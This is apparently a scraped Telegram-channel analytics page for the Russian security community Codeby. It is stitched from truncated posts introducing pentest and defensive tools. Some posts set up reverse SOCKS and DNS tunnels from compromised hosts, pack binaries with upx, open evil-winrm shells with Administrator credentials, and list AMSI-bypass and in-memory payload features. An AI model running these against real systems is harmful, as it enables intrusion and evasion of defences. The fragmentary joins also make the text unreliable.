Codeby
Блог сообщества Кодебай Чат: @codeby_one Форум: codeby.net Обучение: codeby.academy CTF: hackerlab.pro VK: vk.com/codeby YT: clck.ru/XG99c Сотрудничество: @KinWiz Реклама: @Savchenkova_Valentina
Show more📈 Analytical overview of Telegram channel Codeby
Channel Codeby (@codeby_sec) in the Russian language segment is an active participant. Currently, the community unites 36 830 subscribers, ranking 3 509 in the Technologies & Applications category and 17 214 in the Russia region.
📊 Audience metrics and dynamics
Since its creation on невідомо, the project has demonstrated rapid growth, gathering an audience of 36 830 subscribers.
According to the latest data from 31 August, 2026, the channel demonstrates stable activity. Although there has been a change in the number of participants by 27 over the last 30 days and by -9 over the last 24 hours, overall reach remains high.
- Verification status: Not verified
- Engagement rate (ER): The average audience engagement rate is 6.65%. Within the first 24 hours after publication, content typically collects 4.11% reactions from the total number of subscribers.
- Post reach: On average, each post receives 2 449 views. Within the first day, a publication typically gains 1 515 views.
- Reactions and interaction: The audience actively supports content: the average number of reactions per post is 14.
- Thematic interests: Content is focused on key topics such as edr, api, вектор, mitre, att&ck.
📝 Description and content policy
The author describes the resource as a platform for expressing subjective opinions:
“Блог сообщества Кодебай
Чат: @codeby_one
Форум: codeby.net
Обучение: codeby.academy
CTF: hackerlab.pro
VK: vk.com/codeby
YT: clck.ru/XG99c
Сотрудничество: @KinWiz
Реклама: @Savchenkova_Valentina”
Thanks to the high frequency of updates (latest data received on 01 September, 2026), the channel maintains relevance and a high level of publication reach. Analytics show that the audience actively interacts with content, making it an important point of influence in the Technologies & Applications category.
pip install wapiti3
🫎 Пример использования Wapiti
После установки Wapiti можно использовать команду для сканирования веб-сайта на наличие уязвимостей. Вот пример простого запуска сканера на URL:
wapiti http://example.com
Файл начнет сканирование сайта http://example.com на уязвимости, проверяя формы, ссылки и параметры URL.
🫎 Генерация отчетов
После завершения сканирования можно сгенерировать отчет. Например, для создания отчета в формате HTML используется команда:
wapiti -u http://example.com -o report.html
Wapiti создаст отчет в формате HTML, который можно просмотреть в браузере.# Оn proxy entry point system with IP 1.2.3.4 resocks listen2⃣ В устройстве находящемся за NAT (скомпрометированное устройство) запускаем утилиту и передаем ключ:
# Оn remote relay system with IP 10.0.0.1 resocks 1.2.3.4 --key $CONNECTION_KEY3⃣ Теперь необходимо настроить использование локального сервера SOCKS5, там где запущен листенер и передать IP цели, доступ к которой требуется получить:
curl --proxy 'socks5://127.0.0.1:1080' 'http://10.0.0.2'
В сравнении с другими инструментами (сhisel, ligolo и т.д.) resocks выделяется благодаря акценту на взаимной аутентификации через mTLS и удобству использования.# Build for Linux
git clone https://github.com/kost/revsocks
export GOPATH=~/go
go get github.com/hashicorp/yamux
go get github.com/armon/go-socks5
go get github.com/kost/go-ntlmssp
go build
go build -ldflags="-s -w" && upx --brute revsocks
⚙️ Принцип работы:
⏺️На сервере RevSocks запускается с параметром -listen, указывающим порт, на котором сервер будет принимать соединения от клиента и параметром -socks, задающим адрес SOCKS5-сервера (сервер ожидает входящего соединения от клиента и одновременно предоставляет SOCKS5-интерфейс для внешних подключений).
⏺️На клиенте инструмент запускается с параметром -connect, указывающим на адрес и порт сервера.
⏺️Клиент устанавливает исходящее TCP-соединение к серверу, которое мультиплексируется с помощью Yamux для обработки множества потоков.
⏺️SOCKS5-запросы от сервера передаются через туннель к клиенту, который выполняет их и возвращает данные.
💻 Использование:
Обратное TCP соединение с шифрованием TLS:
# Start on VPS
revsocks -listen :8443 -socks 127.0.0.1:1080 -pass SuperSecretPassword -tls
# Start on client
revsocks -connect clientIP:8443 -pass SuperSecretPassword -tls
DNS туннель:
# Start on the DNS server revsocks -dns example.com -dnslisten :53 -socks 127.0.0.1:1080 -pass <pass> # Start on the target revsocks -dns example.com -pass <pass>
git clone https://github.com/elceef/dnstwist.git
cd dnstwist
pip install .
😮 Использование:
Обычно генерируются тысячи комбинаций доменов, поэтому целесообразно отображать только те, которые зарегистрированы:
dnstwist --registered domain.name
С помощью аргумента --nameservers можно указать внешний DNS-сервер, который будет обрабатывать запросы.
Через аргумент --dictionary передается файл со словарем в случае, если результатов фаззинга не будет хватать.
Для проверки, существуют ли домены с другими TLD, необходимо предоставить файл со списком TLD:
dnstwist --tld dictionaries/common_tlds.dict domain.name
Кроме того, можно указывать необходимые алгоритмы фаззинга перечисляя их:
dnstwist --fuzzers "homoglyph,hyphenation" domain.name
Для простых перестановок без поиска DNS, используется аргумент --format list.
🚨Обнаружение фишинга:
Ручная проверка каждого доменного имени на предмет того, что оно ведёт на фишинговый сайт, может занять много времени. Для решения этой проблемы, dnstwist использует нечёткие хэши — концепция, которая позволяет сравнивать два входных параметра (HTML-код) и определять базовый уровень сходства и перцептивный хэш — отпечаток, полученный на основе визуальных характеристик изображения (скриншот веб-страницы).
dnstwist --lsh domain.name
dnstwist --phash domain.nameDIVE_VERSION=$(curl -sL "https://api.github.com/repos/wagoodman/dive/releases/latest" | grep '"tag_name":' | sed -E 's/.*"v([^"]+)".*/\1/')
curl -OL https://github.com/wagoodman/dive/releases/download/v${DIVE_VERSION}/dive_${DIVE_VERSION}_linux_amd64.deb
sudo apt install ./dive_${DIVE_VERSION}_linux_amd64.deb
Для Windows можно использовать последнюю версию отсюда.
☄️ Основные возможности:
⏺️ Демонстрация содержимого изображения Docker в разбивке по слоям;
⏺️ Возможность видеть изменения в каждом слое;
⏺️ Оценка эффективного распределения места в образе;
⏺️ Быстрые циклы сборки / анализа засчёт возможности проведения сканирования при сборке образа.
🧐 Использование:
Для анализа образа Docker необходимо запустить инструмент и указать tag/id/digest:
dive <your-image-tag>
Также можно запустить инструмент непосредственно с помощью команды docker:
alias dive="docker run -ti --rm -v /var/run/docker.sock:/var/run/docker.sock wagoodman/dive"
dive <your-image-tag>
# for example
dive nginx:latest
Или создать свой образ и сразу перейти к его анализу:
dive build -t <some-tag>RouterSploit — это открытый фреймворк для тестирования сетевых устройств на наличие уязвимостей. Он написан на Python и предлагает набор инструментов для сканирования, тестирования и эксплуатации уязвимостей. RouterSploit позволяет находить уязвимости как в домашних маршрутизаторах, так и в корпоративных сетевых устройствах, таких как коммутаторы, точки доступа и межсетевые экраны.Этот инструмент вдохновлен популярным Metasploit Framework, но сосредоточен исключительно на устройствах сетевого уровня. Основные возможности RouterSploit 1️⃣ Модули для эксплуатации уязвимостей: RouterSploit включает модули, которые эксплуатируют известные уязвимости в прошивках сетевых устройств. Это позволяет проверить устройства на наличие незащищенных конфигураций или программных ошибок. 2️⃣ Модуль для сканирования RouterSploit может сканировать сеть и идентифицировать устройства, их модели и версии прошивок. 3️⃣ Брутфорс-атаки: Поддерживается автоматизированный подбор логинов и паролей для доступа к устройствам через протоколы Telnet, SSH, HTTP и другие. 4️⃣ Модули пост-эксплуатации: После успешной атаки можно использовать дополнительные возможности, такие как захват данных, изменение конфигурации или запуск вредоносного кода. 5️⃣ Поддержка множества производителей: Инструмент поддерживает устройства от компаний Cisco, MikroTik, Netgear, D-Link, TP-Link, Huawei, Juniper и многих других. Архитектура и структура RouterSploit разделен на несколько категорий модулей: ➡️ Exploit (Эксплуатация уязвимостей): Модули, которые используют известные уязвимости, такие как обход авторизации, RCE (удаленное выполнение кода) или переполнение буфера. ➡️ Creds (Подбор учетных данных): Модули для брутфорса учетных данных и проверки слабых паролей. ➡️ Scanners (Сканеры): Автоматизированные модули для сканирования сетей и поиска уязвимых устройств. ➡️ Payloads (Полезная нагрузка): Модули для выполнения кода или изменений конфигурации после успешной эксплуатации. ➡️ Generic (Общие модули): Модули, которые не зависят от производителя или типа устройства. ⬇️ Установка RouterSploit Инструмент доступен для систем на базе Linux, macOS и Windows. 1️⃣ Клонирование репозитория:
git clone https://github.com/threat9/routersploit.git
cd routersploit
2️⃣ Установка зависимостей:
pip install -r requirements.txt
3️⃣ Запуск RouterSploit:
python3 rsf.py
После запуска пользователь вы попадете в интерактивную оболочку, похожую на Metasploit.🗣️ На курсе подробно разберём эксплуатацию SQL-инъекций, одну из наиболее опасных и эксплуатируемых видов атак на веб-приложения. Аналогов по объему практики в СНГ и EN-cегменте нет.Вы освоите: 🔸 базовый синтаксис языка запросов SQL 🔸 внедрение SQL-кода в уязвимые приложения 🔸 раскрутку SQL-инъекций вручную и софтом 🔸 способы защиты своих веб-приложений 🚀 По всем вопросам пишите @Codeby_Academy
# For macOS
brew install semgrep
# For Ubuntu/WSL/Linux/macOS
python3 -m pip install semgrep
Для запуска в автоматическом режиме необходимо перейти в корневой каталог проекта и использовать команду: semgrep --config "auto". Параметр config отвечает за выбор правил для сканирования. В режиме auto используются все публичные правила и сканирование начинается с текущей директории.
📋 Так же есть готовые наборы правил для проверки под разные задачи:
semgrep --config p/python
semgrep --config p/owasp-top-ten
semgrep --config p/cwe-top-25
Через параметр --exclude в командной строке можно исключить файлы или директории, которым не требуется сканирование.
🆒 Правила для Semgrep пишутся в формате YAML, что упрощает их создание и настройку. Можно использовать уже готовые правила, а можно создавать собственные. Пример использования кастомного правила для поиска операторов Python print():
Сохраняем этот файл с именем no_print.yaml и запускаем утилиту:
semgrep --config no_print.yaml <путь_к_коду>Kubescape — это мощный инструмент с открытым исходным кодом, предназначенный для анализа безопасности Kubernetes-кластеров. Разработанный с целью упростить выявление уязвимостей и несоответствий конфигурации.Основные возможности Kubescape 1️⃣ Анализ конфигураций Kubernetes Kubescape сканирует манифесты Kubernetes, такие как Deployment, Service, Pod, ConfigMap и другие. Он ищет ошибки конфигурации, которые могут представлять угрозу безопасности, например: ➡️ Привилегированные контейнеры. ➡️ Отсутствие ограничений на использование ресурсов. ➡️ Открытые внешние сети. 2️⃣ Оценка соответствия стандартам безопасности Инструмент поддерживает проверку на соответствие популярным стандартам, включая: ➡️ CIS Benchmarks (Center for Internet Security). ➡️ NSA и CISA Kubernetes Hardening Guidelines. ➡️ Собственные политики пользователей. 3️⃣ Интеграция с CI/CD Kubescape легко интегрируется в конвейеры CI/CD, что позволяет обнаруживать и устранять уязвимости на ранних этапах разработки. Это помогает обеспечить безопасность перед развертыванием приложения в продакшене. 4️⃣ Графический интерфейс и отчетность Помимо командной строки, Kubescape предоставляет удобный веб-интерфейс, который визуализирует результаты сканирования и облегчает анализ проблем. 5️⃣ Поддержка RBAC (Role-Based Access Control) Kubescape анализирует роли и привилегии в кластере, определяя избыточные права доступа, которые могут быть использованы злоумышленниками. 🎮 Пример базового использования:
kubescape scan framework nsa --submit --exclude-namespaces kube-system
Эта команда сканирует кластер по рекомендациям NSA и исключает namespace kube-system.
⚙️ Примеры использования
➡️ Обнаружение неправильной конфигурации Pod’ов:
Если контейнеры запущены с привилегиями или без указания лимитов ресурсов, Kubescape предупреждает об этих проблемах.
➡️ Инструмент выявляет избыточные роли или нарушения принципа минимальных прав (Least Privilege).
➡️ Аудит соответствия стандартам:
Kubescape помогает поддерживать соответствие отраслевым требованиям, таким как PCI DSS или GDPR, в Kubernetes-кластере.gem install evil-winrm-ai
⏺️Ручная:
sudo gem install winrm winrm-fs stringio logger fileutils langchainrb ollama-ai anthropic mistral-ai ruby-openai
git clone -b ai https://github.com/Hackplayers/evil-winrm.git
⏺️Изолированная:
sudo gem install winrm winrm-fs stringio logger fileutils langchainrb ollama-ai anthropic mistral-ai ruby-openai
git clone -b ai https://github.com/Hackplayers/evil-winrm.git
💥 Использование:
С помощью параметров --llm* можно взаимодействовать с языковыми моделями упрощая создание команд и предоставляя интеллектуальные предложения на основе ваших входных данных:
🌟llm LLM_NAME - имя LLM;
🌟llm-model LLM_MODEL_NAME - модель LLM;
🌟llm-url LLM_URL - URL - адрес службы LLM (используется Ollama и AzureOpenAI);
🌟llm-api-key LLM_API_KEY - ключ API LLM;
🌟llm-history - включить сохранение сгенерированных команд LLM в истории;
🌟llm-debug - включить ведение журнала LLM.
# Ollama, specifying an LLM model setting the URL of the listener containing the Ollama service
evil-winrm-ai -u Administrator -p 'MySuperSecr3tPass123!' -i 192.168.1.1 --llm ollama --llm-url 'http://192.168.1.2:11434' --llm-model llama3.1:latest
# OpenAI, specifying an LLM model and enabling the LLM commands history
evil-winrm-ai -u Administrator -p 'MySuperSecr3tPass123!' -i 192.168.1.1 --llm openai --llm-api-key 'x' --llm-history --llm-model gpt-4o
# Gemini, just using it enabling debug mode
evil-winrm-ai -u Administrator -p 'MySuperSecr3tPass123!' -i 192.168.1.1 --llm gemini --llm-api-key 'x' --llm-debug
# Mistral-AI, specifying an LLM model
evil-winrm-ai -u Administrator -p 'MySuperSecr3tPass123!' -i 192.168.1.1 --llm mistral-ai --llm-api-key 'x' --llm-model open-mistral-7b
После входа в оболочку Evil-WinRM с включённой функцией ИИ необходимо использовать префикс ai: для запроса у ИИ предложений по командам.
Например, ai:enumerate local usersgem install evil-winrm. Запуск производится с помощью команды:
evil-winrm -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!'.
2️⃣ Ручная установка:
sudo gem install winrm winrm-fs stringio logger fileutils
git clone https://github.com/Hackplayers/evil-winrm.git
Для запуска необходимо ввести:
cd evil-winrm && ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!'.
3️⃣ Установка через bundler для изоляции зависимостей:
gem install bundler
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm && bundle install --path vendor/bundle
Запуск осуществляется через команду:
bundle exec evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!'
🔥Кроме предоставления удаленного доступа к устройству у инструмента есть следующие возможности :
⏺️upload - загрузка файлов с хоста, где запущен инструмент на удаленную машину. Для этого необходимо указывать абсолютный путь;
⏺️download - скачивает файлы с удаленной машины;
⏺️Invoke-Binary - позволяет выполнять сборки .Net в памяти;
⏺️Dll-Loader - позволяет загружать библиотеки DLL в память;
⏺️Donut-Loader - позволяет внедрять x64-полезные нагрузки;
⏺️Bypass-4MSI - патчит защиту AMSI;
⏺️services - список всех сервисов с указанием, есть ли у вашей учётной записи права доступа к каждому из них.TruffleHog — это мощный инструмент с открытым исходным кодом, предназначенный для поиска утечек чувствительных данных в исходных кодах, конфигурационных файлах и репозиториях, разработанный для выявления ключей API, паролей, токенов и других конфиденциальных данных.Основные возможности TruffleHog 1⃣ Глубокое сканирование репозиториев: TruffleHog проверяет весь коммит-историю репозитория, включая удаленные ветки. Это делает его полезным для обнаружения старых утечек данных, которые могут остаться незамеченными в течение длительного времени. 2⃣ Поиск секретов по шаблонам: Инструмент использует регулярные выражения для обнаружения популярных типов секретов, таких как ключи AWS, токены Google Cloud, ключи Azure и другие. 3⃣ Детектирование на основе энтропии: TruffleHog анализирует строки на высокую энтропию, что может свидетельствовать о наличии случайно сгенерированных токенов или паролей, даже если они не соответствуют известным шаблонам. 4⃣ Поддержка различных форматов данных: Утилита работает с JSON, YAML и другими форматами, что делает ее универсальным инструментом для анализа конфигурационных файлов. Установка и пример использования 🍺 Установка с использованием brew
brew install trufflehog
👩💻 Альтернативный вариант установки с использованием docker для Unix систем
docker run --rm -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest github --repo https://github.com/trufflesecurity/test_keys
😒 Пример использования
trufflehog git https://github.com/trufflesecurity/test_keys --results=verified,unknown